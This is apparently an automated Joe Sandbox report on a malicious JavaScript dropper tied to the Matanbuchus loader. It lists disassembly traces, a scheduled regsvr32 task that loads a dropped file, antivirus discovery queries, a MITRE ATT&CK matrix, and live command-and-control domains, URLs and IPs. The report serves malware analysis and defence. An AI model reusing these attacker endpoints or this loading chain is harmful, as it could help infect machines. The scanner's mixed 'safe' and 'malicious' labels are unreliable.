Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov ecx, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov ecx, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov eax, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov eax, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov eax, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov eax, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov eax, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov eax, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800 mov eax, dword ptr fs:[00000030h]	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC0D6C0 mov edx, dword ptr fs:[00000030h]	11_2_7EC0D6C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC25EC0 mov ecx, dword ptr fs:[00000030h]	11_2_7EC25EC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC06E80 mov eax, dword ptr fs:[00000030h]	11_2_7EC06E80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2E690 mov ecx, dword ptr fs:[00000030h]	11_2_7EC2E690
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov eax, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov edx, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov eax, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov eax, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov eax, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov eax, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov eax, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov ecx, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov edx, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0 mov eax, dword ptr fs:[00000030h]	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC27660 mov ecx, dword ptr fs:[00000030h]	11_2_7EC27660
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC3F610 mov eax, dword ptr fs:[00000030h]	11_2_7EC3F610
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC507C8 mov ecx, dword ptr fs:[00000030h]	11_2_7EC507C8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC047D4 mov ecx, dword ptr fs:[00000030h]	11_2_7EC047D4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC047D4 mov ecx, dword ptr fs:[00000030h]	11_2_7EC047D4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC047D4 mov edx, dword ptr fs:[00000030h]	11_2_7EC047D4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2AF60 mov eax, dword ptr fs:[00000030h]	11_2_7EC2AF60
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC06F1A mov eax, dword ptr fs:[00000030h]	11_2_7EC06F1A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC08F30 mov edx, dword ptr fs:[00000030h]	11_2_7EC08F30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC08F30 mov ecx, dword ptr fs:[00000030h]	11_2_7EC08F30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC08F30 mov ecx, dword ptr fs:[00000030h]	11_2_7EC08F30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC15CD0 mov ecx, dword ptr fs:[00000030h]	11_2_7EC15CD0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC06C70 mov edx, dword ptr fs:[00000030h]	11_2_7EC06C70
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC12420 mov edx, dword ptr fs:[00000030h]	11_2_7EC12420
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC12420 mov eax, dword ptr fs:[00000030h]	11_2_7EC12420
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC37D90 mov ecx, dword ptr fs:[00000030h]	11_2_7EC37D90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC37D90 mov edx, dword ptr fs:[00000030h]	11_2_7EC37D90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC37D90 mov eax, dword ptr fs:[00000030h]	11_2_7EC37D90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC37D90 mov ecx, dword ptr fs:[00000030h]	11_2_7EC37D90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC0E5A0 mov eax, dword ptr fs:[00000030h]	11_2_7EC0E5A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2ADB0 mov edx, dword ptr fs:[00000030h]	11_2_7EC2ADB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2A560 mov ecx, dword ptr fs:[00000030h]	11_2_7EC2A560
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2A560 mov eax, dword ptr fs:[00000030h]	11_2_7EC2A560
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2A560 mov ecx, dword ptr fs:[00000030h]	11_2_7EC2A560
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC072D0 mov edx, dword ptr fs:[00000030h]	11_2_7EC072D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC042E4 mov edx, dword ptr fs:[00000030h]	11_2_7EC042E4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC042E4 mov ecx, dword ptr fs:[00000030h]	11_2_7EC042E4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC04280 mov edx, dword ptr fs:[00000030h]	11_2_7EC04280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC04280 mov ecx, dword ptr fs:[00000030h]	11_2_7EC04280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC04280 mov ecx, dword ptr fs:[00000030h]	11_2_7EC04280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC04280 mov ecx, dword ptr fs:[00000030h]	11_2_7EC04280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC04280 mov ecx, dword ptr fs:[00000030h]	11_2_7EC04280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC04280 mov edx, dword ptr fs:[00000030h]	11_2_7EC04280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC29A90 mov eax, dword ptr fs:[00000030h]	11_2_7EC29A90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC0E250 mov edx, dword ptr fs:[00000030h]	11_2_7EC0E250
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2B260 mov ecx, dword ptr fs:[00000030h]	11_2_7EC2B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2B260 mov eax, dword ptr fs:[00000030h]	11_2_7EC2B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2B260 mov edx, dword ptr fs:[00000030h]	11_2_7EC2B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2B260 mov eax, dword ptr fs:[00000030h]	11_2_7EC2B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2B260 mov ecx, dword ptr fs:[00000030h]	11_2_7EC2B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC57A0D mov eax, dword ptr fs:[00000030h]	11_2_7EC57A0D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC0DA10 mov edx, dword ptr fs:[00000030h]	11_2_7EC0DA10
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC0DA10 mov eax, dword ptr fs:[00000030h]	11_2_7EC0DA10
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC12A20 mov eax, dword ptr fs:[00000030h]	11_2_7EC12A20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2D3E0 mov ecx, dword ptr fs:[00000030h]	11_2_7EC2D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2D3E0 mov eax, dword ptr fs:[00000030h]	11_2_7EC2D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2D3E0 mov ecx, dword ptr fs:[00000030h]	11_2_7EC2D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2D3E0 mov edx, dword ptr fs:[00000030h]	11_2_7EC2D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2D3E0 mov eax, dword ptr fs:[00000030h]	11_2_7EC2D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2E3A0 mov eax, dword ptr fs:[00000030h]	11_2_7EC2E3A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC0D370 mov edx, dword ptr fs:[00000030h]	11_2_7EC0D370
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC38870 mov ecx, dword ptr fs:[00000030h]	11_2_7EC38870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC38870 mov edx, dword ptr fs:[00000030h]	11_2_7EC38870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC38870 mov eax, dword ptr fs:[00000030h]	11_2_7EC38870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC38870 mov ecx, dword ptr fs:[00000030h]	11_2_7EC38870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov ecx, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov ecx, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov eax, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov eax, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov eax, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov eax, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov eax, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov eax, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800 mov eax, dword ptr fs:[00000030h]	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2E1C0 mov edx, dword ptr fs:[00000030h]	11_2_7EC2E1C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC579DC mov eax, dword ptr fs:[00000030h]	11_2_7EC579DC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC57998 mov eax, dword ptr fs:[00000030h]	11_2_7EC57998
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2E1B0 mov eax, dword ptr fs:[00000030h]	11_2_7EC2E1B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov edx, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov ecx, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov eax, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov eax, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov eax, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov eax, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov eax, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov edx, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160 mov eax, dword ptr fs:[00000030h]	11_2_7EC1C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2C170 mov eax, dword ptr fs:[00000030h]	11_2_7EC2C170

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_7F2D95F0 GetProcessHeap,GetDriveTypeA,

4_2_7F2D95F0

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\rundll32.exe C:/Windows/System32/rundll32.exe libcurl.dll, curl_easy_init

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6C35F233 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6C35F233
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2F1665 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_7F2F1665
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2F1417 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_7F2F1417
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2F52A3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_7F2F52A3
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6B63F233 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_6B63F233
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F731665 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_7F731665
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F731417 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_7F731417
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F7352A3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_7F7352A3
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC41665 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_7EC41665
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC41417 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_7EC41417
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC452A3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_7EC452A3

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\regsvr32.exe

Network Connect: 185.234.216.175 443

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_7F2F11CC cpuid

4_2_7F2F11CC

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_7F303E2F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_7F30AC51
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_7F30AB82
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_7F30AA7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_7F30A953
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_7F30A700
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_7F30A675
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_7F30A58F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_7F30A5DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_7F30A4E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_7F3043AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	4_2_7F30A2ED

Source: C:\Windows\System32\msiexec.exe

Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_7F2F1534 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_7F2F1534

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 6_2_6B6351C0 DllInstall,GetTempFileNameW,GetFileType,GetSystemDirectoryA,LoadLibraryA,GetUserNameA,lstrlenA,lstrlenA,

6_2_6B6351C0

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	1 Replication Through Removable Media	21 Windows Management Instrumentation	2 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	41 Security Software Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Doc_21-04-53.js	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\8f08\813848\813848.winmd	5%	ReversingLabs
C:\Users\user\AppData\Roaming\silver\libcurl.dll	5%	ReversingLabs
C:\Windows\Installer\MSI67E2.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6850.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6890.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI68B0.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://schemas.xml	0%	Avira URL Cloud	safe
https://security-patches.systems/AdminAccounts.aspx	0%	Avira URL Cloud	safe
https://security-patches.systems/verif.aspx	0%	Avira URL Cloud	safe
http://security-patches.systems/WinDefUpdates/DefenderUpdates/index.php	0%	Avira URL Cloud	safe
https://axizlhop.life/klog.php	0%	Avira URL Cloud	safe
https://security-patches.systems/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
axizlhop.life	104.21.40.3	true	false		unknown
security-patches.systems	185.234.216.175	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://axizlhop.life/klog.php	false	Avira URL Cloud: safe	unknown
https://security-patches.systems/verif.aspx	true	Avira URL Cloud: safe	unknown
http://security-patches.systems/WinDefUpdates/DefenderUpdates/index.php	true	Avira URL Cloud: safe	unknown
https://security-patches.systems/AdminAccounts.aspx	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://security-patches.systems/	rundll32.exe, 00000004.00000002.2943141043.0000000002D9A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2943141043.0000000002DFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xml	regsvr32.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.234.216.175	security-patches.systems	Poland		197226	SPRINT-SDCPL	true
104.21.40.3	axizlhop.life	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570376
Start date and time:	2024-12-06 22:18:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Without Instrumentation
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Doc_21-04-53.js
Detection:	MAL
Classification:	mal96.troj.evad.winJS@18/21@5/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Doc_21-04-53.js

Simulations

Behavior and APIs

Time	Type	Description
16:19:38	API Interceptor	1x Sleep call for process: msiexec.exe modified
16:20:06	API Interceptor	53x Sleep call for process: rundll32.exe modified
21:19:43	Task Scheduler	Run new task: {9BDF816E-3AA5-4D58-9D2C-6A06AF9DE38B} path: C:\Windows\System32\regsvr32.exe s>-e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.234.216.175	klog.php.msi	Get hash	malicious	Matanbuchus	Browse	security-patches.systems/WinDefUpdates/DefenderUpdates/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
security-patches.systems	klog.php.msi	Get hash	malicious	Matanbuchus	Browse	185.234.216.175

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPRINT-SDCPL	klog.php.msi	Get hash	malicious	Matanbuchus	Browse	185.234.216.175
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/email.email.panda%C2%ADdoc%C2%AD.net/c/eJxUkE2P2yAQhn-NuWWFARt88CFVY612oypR2m7UywqGwSGJDcLY3c2vryJ1-3EbjeZ99MxrW1Nz4xSxAeYBx_zqbdufVQy8WvbnZ4mHr1v5vX_uDcG2lJxXVAlZk1MLSiPjHKRWYBw4lJZJCRqkEVJZQXzLKBMlo3WpqKz4g6l4zS03pmSmLmVZCIqD9teHqEerbYCHETPx02tOGlCbK7Y5zUiu7SnnOBV8XbCuYJ2O8W8EwlCw7kO_YN3CCt7lcMGx4J8NSlVVAgyKymkGjIKWqBoJ3DlUXIGiDUhX8I6MIXvnQWcfxnsNzgkqLMCqwQZWolF0pTk0K0qZQ7S1QVeTkHo9-tuf0GZ5eheeH9Pm7by_vbzf7PD4ZUdSG09zSoWgIWY_zMOUtXN-7O_-JOHip9-A-fB43HRxdxy-Qfi03b-sbbxIktuPF_8ZV1mnHv_bTPeLpWXkZ0iXKWrAO3SXD-unw3Y8i7e8HH7ki-bz5H4FAAD__zN8qVc	Get hash	malicious	Unknown	Browse	188.68.242.180
	https://app.pandadoc.com/document/v2?token=4f650edf0fbe63c284330a0c3237efbdcb934f50?	Get hash	malicious	Unknown	Browse	188.68.242.180
